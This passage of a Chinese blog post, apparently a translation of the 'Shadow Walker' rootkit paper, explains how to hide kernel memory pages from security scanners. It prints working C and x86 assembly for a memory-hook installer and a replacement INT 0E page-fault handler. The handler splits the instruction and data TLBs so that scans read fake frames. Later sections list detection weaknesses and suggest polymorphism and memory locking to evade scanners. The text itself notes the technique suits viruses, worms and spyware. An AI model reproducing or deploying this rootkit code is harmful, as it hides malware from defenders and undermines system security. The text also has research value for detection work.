Walker从内存中的驱动链表中删除驱动，并且在Windows对象管理器的驱动目录中删去驱动。&lt;br/&gt;&lt;br/&gt;----[ 3。4。b - Shadow Walker 内存挂钩引擎&lt;br/&gt;&lt;br/&gt;Shadow Walker包含一个内存挂钩的安装模块和一个新的页出错处理程序。内存挂钩模块接受需要&lt;br/&gt;隐藏分页的虚地址作为参数。 它使用包含在地址中的信息作一些安全性检查。 随后Shadow Walker通&lt;br/&gt;过挂钩Int 0E(如果它之前没被安装过)安装新的页出错处理程序， 并将隐藏分页的信息插入到hash表&lt;br/&gt;中， 这样在页出错时可以查找得快些。最后， 该页的PTE标志为不存在， 该隐藏分页的TLB入口被清&lt;br/&gt;除。 这确保了接下来所有对该页的访问都由新的页出错处理程序过滤。&lt;br/&gt;&lt;br/&gt;/*************************************************************************&lt;br/&gt;* HookMemoryPage - Hooks a memory page by marking it not present&lt;br/&gt;* and flushing any entries in the TLB。 This ensure&lt;br/&gt;* that all subsequent memory accesses will generate&lt;br/&gt;* page faults and be filtered by the page fault handler。&lt;br/&gt;*&lt;br/&gt;* Parameters:&lt;br/&gt;* PVOID pExecutePage - pointer to the page that will be used on * execute access&lt;br/&gt;*&lt;br/&gt;* PVOID pReadWritePage - pointer to the page that will be used to load&lt;br/&gt;* the DTLB on data access&lt;br/&gt;*&lt;br/&gt;* PVOID pfnCallIntoHookedPage - A void function which will be called&lt;br/&gt;* from within the page fault handler to&lt;br/&gt;* to load the ITLB on execute accesses&lt;br/&gt;*&lt;br/&gt;* PVOID pDriverStarts (optional) - Sets the start of the valid range&lt;br/&gt;* for data accesses originating from&lt;br/&gt;* within the hidden page。&lt;br/&gt;*&lt;br/&gt;* PVOID pDriverEnds (optional) - Sets the end of the valid range for&lt;br/&gt;* data accesses originating from within&lt;br/&gt;* the hidden page。&lt;br/&gt;* Return - None&lt;br/&gt;**************************************************************************/&lt;br/&gt;void HookMemoryPage( PVOID pExecutePage， PVOID pReadWritePage，&lt;br/&gt;PVOID pfnCallIntoHookedPage， PVOID pDriverStarts，&lt;br/&gt;PVOID pDriverEnds )&lt;br/&gt;{&lt;br/&gt;HOOKED_LIST_ENTRY HookedPage = {0};&lt;br/&gt;HookedPage。pExecuteView = pExecutePage;&lt;br/&gt;HookedPage。pReadWriteView = pReadWritePage;&lt;br/&gt;HookedPage。pfnCallIntoHookedPage = pfnCallIntoHookedPage;&lt;br/&gt;if( pDriverStarts != NULL)&lt;br/&gt;HookedPage。pDriverStarts = (ULONG)pDriverStarts;&lt;br/&gt;else&lt;br/&gt;HookedPage。pDriverStarts = (ULONG)pExecutePage;&lt;br/&gt;&lt;br/&gt;if( pDriverEnds != NULL)&lt;br/&gt;HookedPage。pDriverEnds = (ULONG)pDriverEnds;&lt;br/&gt;else&lt;br/&gt;{ //set by default if pDriverEnds is not specified&lt;br/&gt;if( IsInLargePage( pExecutePage ) )&lt;br/&gt;HookedPage。pDriverEnds =&lt;br/&gt;(ULONG)HookedPage。pDriverStarts + LARGE_PAGE_SIZE;&lt;br/&gt;else&lt;br/&gt;HookedPage。pDriverEnds =&lt;br/&gt;(ULONG)HookedPage。pDriverStarts + PAGE_SIZE;&lt;br/&gt;}//end if&lt;br/&gt;&lt;br/&gt;__asm cli //disable interrupts&lt;br/&gt;&lt;br/&gt;if( hooked == false )&lt;br/&gt;{&lt;br/&gt;HookInt( &amp;amp;g_OldInt0EHandler，&lt;br/&gt;(unsigned long)NewInt0EHandler， 0x0E );&lt;br/&gt;hooked = true;&lt;br/&gt;}//end if&lt;br/&gt;&lt;br/&gt;HookedPage。pExecutePte = GetPteAddress( pExecutePage );&lt;br/&gt;HookedPage。pReadWritePte = GetPteAddress( pReadWritePage );&lt;br/&gt;&lt;br/&gt;//Insert the hooked page into the list&lt;br/&gt;PushPageIntoHookedList( HookedPage );&lt;br/&gt;&lt;br/&gt;//Enable the global page feature&lt;br/&gt;EnableGlobalPageFeature( HookedPage。pExecutePte );&lt;br/&gt;&lt;br/&gt;//Mark the page non present&lt;br/&gt;MarkPageNotPresent( HookedPage。pExecutePte );&lt;br/&gt;&lt;br/&gt;//Go ahead and flush the TLBs。 We want to guarantee that all&lt;br/&gt;//subsequent accesses to this hooked page are filtered&lt;br/&gt;//through our new page fault handler。&lt;br/&gt;__asm invlpg pExecutePage&lt;br/&gt;&lt;br/&gt;__asm sti //reenable interrupts&lt;br/&gt;}//end HookMemoryPage&lt;br/&gt;&lt;br/&gt;页出错处理程序的功能相对比较直接， 尽管这个主题看上去很复杂。 它主要的功能是决定一个特定的页出错是否来源于一个挂钩过的分页， 分析访问的类型， 接着导入合适的TLB。 同样地，页出错处理程序基本上有两个执行路径。 如果分页没有被挂钩， 就直接传递到操作系统的页出错处理程序。 这要决定得越快越好， 越有效越好。 如果出错来源于用户态地址， 或者处理器运行在用户态就立即传递下去。 内核态访问的命运就通过hash表的查询快速决定。 换句话说， 一旦该分页认为是挂过钩的， 将会检查访问类型并将注意力放在使用合适的TLB加载代码(执行访问让ITLB加载， 读/写访问让DTLB加载)。 TLB加载的过程如下:&lt;br/&gt;&lt;br/&gt;1。 合适的物理帧的映射将会导入到对应于出错处理地址的PTE中&lt;br/&gt;2。 页暂时标记为存在。&lt;br/&gt;3。 对于一个DTLB的加载， 执行在挂钩过的内存上读操作&lt;br/&gt;4。 对于一个ITLB的加载， 执行到挂钩过的页的调用。&lt;br/&gt;5。 页再次标记为不存在。&lt;br/&gt;6。 映射到老物理帧的PTE将会被恢复。&lt;br/&gt;&lt;br/&gt;在TLB导入之后， 控制权直接返回到页出错处理代码。&lt;br/&gt;&lt;br/&gt;/**************************************************************************&lt;br/&gt;* NewInt0EHandler - Page fault handler for the memory hook engine (aka。 the&lt;br/&gt;* guts of this whole thing ;)&lt;br/&gt;*&lt;br/&gt;* Parameters - none&lt;br/&gt;*&lt;br/&gt;* Return - none&lt;br/&gt;*&lt;br/&gt;***************************************************************************&lt;br/&gt;void __declspec( naked ) NewInt0EHandler(void)&lt;br/&gt;{&lt;br/&gt;__asm&lt;br/&gt;{&lt;br/&gt;pushad&lt;br/&gt;mov edx， dword ptr [esp+0x20] //PageFault。ErrorCode&lt;br/&gt;&lt;br/&gt;test edx， 0x04 //if the processor was in user mode， then&lt;br/&gt;jnz PassDown //pass it down&lt;br/&gt;&lt;br/&gt;mov eax，cr2 //faulting virtual address&lt;br/&gt;cmp eax， HIGHEST_USER_ADDRESS&lt;br/&gt;jbe PassDown //we don&#39;t hook user pages， pass it down&lt;br/&gt;&lt;br/&gt;////////////////////////////////////////&lt;br/&gt;//Determine if it&#39;s a hooked page&lt;br/&gt;/////////////////////////////////////////&lt;br/&gt;push eax&lt;br/&gt;call FindPageInHookedList&lt;br/&gt;mov ebp， eax //pointer to HOOKED_PAGE structure&lt;br/&gt;cmp ebp， ERROR_PAGE_NOT_IN_LIST&lt;br/&gt;jz PassDown //it&#39;s not a hooked page&lt;br/&gt;&lt;br/&gt;///////////////////////////////////////&lt;br/&gt;//NOTE: At this point we know it&#39;s a&lt;br/&gt;//hooked page。 We also only hook&lt;br/&gt;//kernel mode pages which are either&lt;br/&gt;//non paged or locked down in memory&lt;br/&gt;//so we assume that all page tables&lt;br/&gt;//are resident to resolve the address&lt;br/&gt;//from here on out。&lt;br/&gt;/////////////////////////////////////&lt;br/&gt;mov eax， cr2&lt;br/&gt;mov esi， PROCESS_PAGE_DIR_BASE&lt;br/&gt;mov ebx， eax&lt;br/&gt;shr ebx， 22&lt;br/&gt;lea ebx， [esi + ebx*4] //ebx = pPTE for large page&lt;br/&gt;test [ebx]， 0x80 //check if its a large page&lt;br/&gt;jnz IsLargePage&lt;br/&gt;&lt;br/&gt;mov esi， PROCESS_PAGE_TABLE_BASE&lt;br/&gt;mov ebx， eax&lt;br/&gt;shr ebx， 12&lt;br/&gt;lea ebx， [esi + ebx*4] //ebx = pPTE&lt;br/&gt;&lt;br/&gt;IsLargePage:&lt;br/&gt;&lt;br/&gt;cmp [esp+0x24]， eax //Is due to an attepmted execute?&lt;br/&gt;jne LoadDTLB&lt;br/&gt;&lt;br/&gt;////////////////////////////////&lt;br/&gt;// It&#39;s due to an execute。 Load&lt;br/&gt;// up the ITLB。&lt;br/&gt;///////////////////////////////&lt;br/&gt;cli&lt;br/&gt;or dword ptr [ebx]， 0x01 //mark the page present&lt;br/&gt;call [ebp]。pfnCallIntoHookedPage //load the itlb&lt;br/&gt;and dword ptr [ebx]， 0xFFFFFFFE //mark page not present&lt;br/&gt;sti&lt;br/&gt;jmp ReturnWithoutPassdown&lt;br/&gt;&lt;br/&gt;////////////////////////////////&lt;br/&gt;// It&#39;s due to a read /write&lt;br/&gt;// Load up the DTLB&lt;br/&gt;///////////////////////////////&lt;br/&gt;///////////////////////////////&lt;br/&gt;// Check if the read / write&lt;br/&gt;// is originating from code&lt;br/&gt;// on the hidden page。&lt;br/&gt;///////////////////////////////&lt;br/&gt;LoadDTLB:&lt;br/&gt;mov edx， [esp+0x24] //eip&lt;br/&gt;cmp edx，[ebp]。pDriverStarts&lt;br/&gt;jb LoadFakeFrame&lt;br/&gt;cmp edx，[ebp]。pDriverEnds&lt;br/&gt;ja LoadFakeFrame&lt;br/&gt;&lt;br/&gt;/////////////////////////////////&lt;br/&gt;// If the read /write is originating&lt;br/&gt;// from code on the hidden page，then&lt;br/&gt;// let it go through。 The code on the&lt;br/&gt;// hidden page will follow protocol&lt;br/&gt;// to clear the TLB after the access。&lt;br/&gt;////////////////////////////////&lt;br/&gt;cli&lt;br/&gt;or dword ptr [ebx]， 0x01 //mark the page present&lt;br/&gt;mov eax， dword ptr [eax] //load the DTLB&lt;br/&gt;and dword ptr [ebx]， 0xFFFFFFFE //mark page not present&lt;br/&gt;sti&lt;br/&gt;jmp ReturnWithoutPassdown&lt;br/&gt;&lt;br/&gt;/////////////////////////////////&lt;br/&gt;// We want to fake out this read&lt;br/&gt;// write。 Our code is not generating&lt;br/&gt;// it。&lt;br/&gt;/////////////////////////////////&lt;br/&gt;LoadFakeFrame:&lt;br/&gt;mov esi， [ebp]。pReadWritePte&lt;br/&gt;mov ecx， dword ptr [esi] //ecx = PTE of the&lt;br/&gt;//read / write page&lt;br/&gt;&lt;br/&gt;//replace the frame with the fake one&lt;br/&gt;mov edi， [ebx]&lt;br/&gt;and edi， 0x00000FFF //preserve the lower 12 bits of the&lt;br/&gt;//faulting page&#39;s PTE&lt;br/&gt;and ecx， 0xFFFFF000 //isolate the physical address in&lt;br/&gt;//the &quot;fake&quot; page&#39;s PTE&lt;br/&gt;or ecx， edi&lt;br/&gt;mov edx， [ebx] //save the old PTE so we can replace it&lt;br/&gt;cli&lt;br/&gt;mov [ebx]， ecx //replace the faulting page&#39;s phys frame&lt;br/&gt;//address w/ the fake one&lt;br/&gt;&lt;br/&gt;//load the DTLB&lt;br/&gt;or dword ptr [ebx]， 0x01 //mark the page present&lt;br/&gt;mov eax， cr2 //faulting virtual address&lt;br/&gt;mov eax， dword ptr[eax] //do data access to load DTLB&lt;br/&gt;and dword ptr [ebx]， 0xFFFFFFFE //re-mark page not present&lt;br/&gt;&lt;br/&gt;//Finally， restore the original PTE&lt;br/&gt;mov [ebx]， edx&lt;br/&gt;sti&lt;br/&gt;&lt;br/&gt;ReturnWithoutPassDown:&lt;br/&gt;popad&lt;br/&gt;add esp，4&lt;br/&gt;iretd&lt;br/&gt;&lt;br/&gt;PassDown:&lt;br/&gt;popad&lt;br/&gt;jmp g_OldInt0EHandler&lt;br/&gt;}//end asm&lt;br/&gt;}//end NewInt0E&lt;br/&gt;&lt;br/&gt;--[ 4 - 已知的局限 &amp;amp; 性能上的影响&lt;br/&gt;&lt;br/&gt;因为我们当前的rootkit只是扩展作为证明理念的展示， 而不是完整设计的攻击工具， 它具有很多实现上的局限性。 只要某个人愿意， 可以添加大部分的功能。 首先， 可以毫不费力地添加对多线程或多处理器的系统的支持。 其次， 它并不支持Pentium的PAE寻址方式， PAE寻址方式可以将物理寻址位从32位扩展到36位。 最后， 这个设计局限在只能伪装4k大小的内核模式分页(也就是在内存地址空间2G区域以上的部分)。 我们提到的4k页的局限是因为当前面对隐藏位于ntoskrnl驻留的4M分页时，所遇到的技术上的问题。 隐藏包含ntoskrnl的分页将会是值得注意的扩展。 考虑到性能， 我们还未完成严格的测试， 但是主观上来说， 在这个rootkit和内存挂钩引擎安装后， 并没有显著的性能影响。 为了得到最大的性能， 正如之前所提到的， 代码和数据应该保持在两个独立的分页中， 并且如果有人想要同时使用代码页伪装和执行页伪装， 那么全局&lt;br/&gt;变量的使用应该最小化， 限制在不影响性能的前提下。&lt;br/&gt;&lt;br/&gt;--[ 5 - 检测&lt;br/&gt;&lt;br/&gt;为防止被检测， 至少有几个明显的必须面对的弱点。在我们现在证明理念的实现中并没有提到它们，然而， 考虑到完整性我们在此指出。 因为我们必须能够区分正常的页出错和那些与内存挂钩相关的页出错， 我们强加了挂过钩的分页必须位于不可分页内存的条件。很明显， 不存在分页在不可分页内存中存在显然就是一个异常。 然而这是否是一个充分的启动rootkit警告的启发式条件呢，这一点还在争论中。使用类似MmProbeAndLoackPages的API函数锁定可分页内存好像更具有隐蔽性。 下一个弱点在于伪装页出错处理程序的存在。 因为页出错处理程序所在的页不能被标记为不存在， 这是由于很明显的回溯重入问题， 对于简单的特征扫描来说这是一个弱点， 必须使用比较传统的方法进行混淆。因为这个例程很小， 用ASM书写并且不依赖任何内核API，所以多态将是一个理想的解决方案。 一个相关的弱点在需要伪装IDT钩子的存在时产生。由于和页出错处理程序相似的原因，我们不能使用我们的内存挂钩技术来伪装对于中断描述表(IDT)的修改。当我们使用内联挂钩而不是直接地IDT修改来挂钩页出错中断， 在包含操作系统INT 0E处理程序的页上放置内存钩子是 很有问题的， 并且内联挂钩很容易被检测。 Joanna Rutkowska 提出使用调试寄存器来隐藏IDT钩子[5]，但是 Edgar Barbosa 展示了这并不是一个完全有效的解决方案[12]。这是由于调试寄存器只保护虚拟地址， 而不保护物理地址这样的事实。某人可以简单地重新映射包含IDT的物理帧到一个不同的虚拟地址， 随心所欲地读/写IDT的内存。 Shadow Walker也被这种攻击方式所击倒称为牺牲品， 同样的道理， Shadow Walker依赖于虚拟内存的利用， 而非物理内存。尽管这承认是个弱点， 但是大多数的商业安全扫描器只进行虚拟内存的扫描， 而不是进行物理内存的扫描， 这样会被像Shadow Walker一样的rootkit所玩弄。 最后， Shadow Walker 是阴险的。 即使一个扫描器检测出了Shadow Walker， 事实上也没有办法在一个运行的系统中清除它。 有没有可能成功地使用操作系统原来的页出错处理程序重写挂钩的地方呢?举例来说， 这很可能使系统蓝屏， 因为会有一些页出错发生在隐藏的分页中， 原始的页出错处理程序和系统都不知道该如何处理。&lt;br/&gt;&lt;br/&gt;--[ 6 - 总结&lt;br/&gt;&lt;br/&gt;Shadow Walker不是一个全副武装的攻击工具。 它的功能是有限的， 并不试图在IDT中隐藏自己的钩子或它的页出错处理代码。 它只提供一个实际的证明理念的实现， 用来破坏虚拟内存。通过颠倒一个没有可执行内存的防御性软件， 我们展示了破坏操作系统和几乎所有的安全扫描应用所依赖的虚拟地址视图是可能的。由于它利用了TLB体系结构， Shadow Walker是透明的， 表现了一个极轻量级的性能打击。 这些特性毫无疑问地为除了rootkit之外的病毒，蠕虫和间谍软件的应用提供了吸引人的解决方案。</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/767632522202087065/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2010/01/rootkit.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/767632522202087065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/767632522202087065'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2010/01/rootkit.html' title='rootkit'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>